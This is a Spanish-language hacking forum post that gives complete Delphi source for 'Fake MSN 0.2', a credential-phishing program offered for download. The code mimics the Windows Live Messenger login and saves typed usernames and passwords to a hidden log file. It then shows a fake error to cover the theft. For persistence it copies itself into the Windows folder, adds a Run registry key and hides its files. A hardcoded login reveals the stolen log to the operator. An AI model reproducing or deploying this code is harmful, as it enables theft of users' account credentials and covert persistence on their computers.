comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[Delphi] Fake MSN 0.2

  • 0 Respuestas
  • 1505 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil
« en: Noviembre 21, 2012, 02:18:20 pm »
Aca les traigo la nueva version de este Fake MSN hecho en delphi.

Con las siguientes opciones :

  • El programa al cargarse se mueve automaticamente a la carpeta de windows
  • El programa se ejecuta cuando Windows se inicia
  • Se ocultan los archivos relacionados al programa
  • Con poner "doddy" en user y "hackman" en pass en el programa se cargan los logs ocultos


Una imagen



El codigo

Código: Delphi
  1. {
  2. Fake MSN 0.2
  3. Coded By Doddy H
  4. }
  5.  
  6. unit fake;
  7.  
  8. interface
  9.  
  10. uses
  11.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  12.   Dialogs, jpeg, ExtCtrls, StdCtrls, Registry;
  13.  
  14. type
  15.   TForm1 = class(TForm)
  16.     Image1: TImage;
  17.     Edit1: TEdit;
  18.     Edit2: TEdit;
  19.     Image2: TImage;
  20.     procedure Edit1Click(Sender: TObject);
  21.     procedure Edit2Click(Sender: TObject);
  22.     procedure FormCreate(Sender: TObject);
  23.     procedure Image2Click(Sender: TObject);
  24.   private
  25.     { Private declarations }
  26.   public
  27.     { Public declarations }
  28.   end;
  29.  
  30. var
  31.   Form1: TForm1;
  32.  
  33. implementation
  34.  
  35. {$R *.dfm}
  36.  
  37. procedure TForm1.Edit1Click(Sender: TObject);
  38. begin
  39.   Edit1.Text := '';
  40. end;
  41.  
  42. procedure TForm1.Edit2Click(Sender: TObject);
  43. begin
  44.   Edit2.Text := '';
  45.   Edit2.PasswordChar := '*';
  46. end;
  47.  
  48. procedure TForm1.FormCreate(Sender: TObject);
  49.  
  50. var nombrereal: string;
  51.   rutareal: string;
  52.   yalisto: string;
  53.   her: TRegistry;
  54.  
  55. begin
  56.  
  57.   nombrereal := ExtractFileName(ParamStr(0));
  58.   rutareal := ParamStr(0);
  59.   yalisto := 'C:\WINDOWS\' + nombrereal;
  60.  
  61.   MoveFile(Pchar(rutareal), Pchar(yalisto));
  62.  
  63.   her := TRegistry.Create;
  64.   her.RootKey := HKEY_LOCAL_MACHINE;
  65.  
  66.   her.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE);
  67.   her.WriteString('uber', yalisto);
  68.   her.Free;
  69.  
  70.   SetFileAttributes(PChar(yalisto), FILE_ATTRIBUTE_HIDDEN);
  71.   SetFileAttributes(PChar('C:/windows/datos.txt'), FILE_ATTRIBUTE_HIDDEN);
  72.  
  73. end;
  74.  
  75. procedure TForm1.Image2Click(Sender: TObject);
  76.  
  77. var archivo: TextFile;
  78.   ruta: string;
  79.  
  80. begin
  81.  
  82.   if (Edit1.Text = 'doddy') and (Edit2.Text = 'hackman') then
  83.   begin
  84.     WinExec(PChar('notepad c:/windows/datos.txt'), SW_SHOW);
  85.   end
  86.   else
  87.   begin
  88.  
  89.     if Edit1.Text = '' then
  90.     begin
  91.       ShowMessage('Escribe tu Id. de Window Live ID en este formato: tu nombre@ejemplo.com');
  92.     end;
  93.     if Edit2.Text = '' then
  94.     begin
  95.       ShowMessage('Escribe tu contraseña');
  96.     end
  97.     else
  98.     begin
  99.       if Edit2.Text = 'Escribe aqui tu contraseña' then
  100.       begin
  101.         ShowMessage('Escribe tu contraseña');
  102.       end
  103.       else
  104.       begin
  105.         ruta := 'c:/windows/datos.txt'; //mod
  106.         if FileExists(ruta) then
  107.         begin
  108.           AssignFile(archivo, ruta);
  109.           FileMode := fmOpenWrite;
  110.           Append(archivo);
  111.           Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' + Edit2.Text);
  112.           CloseFile(archivo);
  113.           Application.MessageBox('Se ha producido un error , es necesario reiniciar Window Live Messenger', 'Window Live Messenger', MB_OK);
  114.           Form1.Close;
  115.         end
  116.         else
  117.         begin
  118.           AssignFile(archivo, ruta);
  119.           FileMode := fmOpenWrite;
  120.           ReWrite(archivo);
  121.           Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' + Edit2.Text);
  122.           CloseFile(archivo);
  123.           Application.MessageBox('Se ha producido un error , es necesario reiniciar Window Live Messenger', 'Window Live Messenger', MB_OK);
  124.           Form1.Close;
  125.         end;
  126.       end;
  127.     end;
  128.   end;
  129.  
  130. end;
  131.  
  132. end.
  133.  
  134. // The End ?
  135.  

Si quieren bajar el proyecto + el programa compilado lo pueden hacer de aca.

Cualquier sugerencia o error diganlo para mejorar (porque el programa en si no me convence xDD).


 

¿Te gustó el post? COMPARTILO!



Eliminar acentos y otros agregados de un caracter/cadena Delphi 2009

Iniciado por ANTRAX

Respuestas: 0
Vistas: 3265
Último mensaje Febrero 24, 2010, 04:57:14 pm
por ANTRAX
[Sintaxis general de Delphi] By: Geek Lord Venezuela [R00t] Team

Iniciado por ANTRAX

Respuestas: 0
Vistas: 2055
Último mensaje Febrero 24, 2010, 04:35:15 pm
por ANTRAX
1er troyano en Delphi By: Geek Lord Venezuela [R00t] Team

Iniciado por ANTRAX

Respuestas: 0
Vistas: 3512
Último mensaje Febrero 24, 2010, 04:34:48 pm
por ANTRAX
[Delphi] Creacion de un Server Builder con recursos

Iniciado por BigBear

Respuestas: 1
Vistas: 1478
Último mensaje Marzo 09, 2015, 07:56:20 pm
por Flemon
[Delphi] Project Arsenal X 0.2 (Regalo de navidad)

Iniciado por BigBear

Respuestas: 2
Vistas: 2945
Último mensaje Diciembre 28, 2015, 10:27:44 am
por BigBear